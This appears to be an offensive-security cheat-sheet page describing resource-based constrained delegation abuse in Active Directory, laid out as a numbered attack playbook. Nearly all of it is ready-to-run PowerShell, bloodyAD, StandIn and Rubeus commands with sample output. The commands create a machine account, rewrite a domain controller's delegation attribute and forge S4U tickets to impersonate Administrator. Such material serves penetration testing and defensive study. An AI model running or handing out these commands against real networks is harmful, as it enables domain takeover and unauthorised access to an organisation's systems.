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Kerberos Delegation - Resource Based Constrained Delegation

kerberos-delegation-rbcd.md

Resource-based Constrained Delegation was introduced in Windows Server 2012.

The user sends a Service Ticket (ST) to access the service (“Service A”), and if the service is allowed to delegate to another pre-defined service (“Service B”), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>

  1. Import Powermad and Powerview

    PowerShell.exe -ExecutionPolicy BypassImport-Module .\powermad.ps1Import-Module .\powerview.ps1

  2. Get user SID

    $AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}$ACEConvertFrom-SID $ACE.SecurityIdentifier# alternative (Windows/Linux)bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get writable --otype COMPUTER --detail | egrep -i 'distinguishedName|msds-allowedtoactonbehalfofotheridentity'

  3. Abuse MachineAccountQuota to create a computer account and set an SPN for it

    New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)# alternative (Windows/Linux)bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add computer swktest 'Weakest123*'

  4. Rewrite DC’s AllowedToActOnBehalfOfOtherIdentity properties

    $ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"$SDBytes = New-Object byte[] ($SD.BinaryLength)$SD.GetBinaryForm($SDBytes, 0)Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0$Descriptor.DiscretionaryAcl# alternative (Windows/Linux)# use 'remove' instead of 'add' after exploitbloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d crash.lab add rbcd 'dc01-ww2$' 'swktest$'
    # alternative$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}# alternativeStandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND

  5. Use Rubeus to get hash from password

    Rubeus.exe hash /password:'Weakest123*' /user:swktest$  /domain:factory.lan[*] Input password             : Weakest123*[*] Input username             : swktest$[*] Input domain               : factory.lan[*] Salt                       : FACTORY.LANswktest[*]       rc4_hmac             : F8E064CA98539B735600714A1F1907DD[*]       aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498[*]       aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347[*]       des_cbc_md5          : BA297CFD07E62A5E

  6. Impersonate domain admin using our newly created machine account

    .\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap.\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'[*] Sending S4U2proxy request[+] S4U2proxy success![*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':    doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD    AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE    LmZhY3RvcnkubGFu[*] Action: Import Ticket[+] Ticket successfully imported!

References#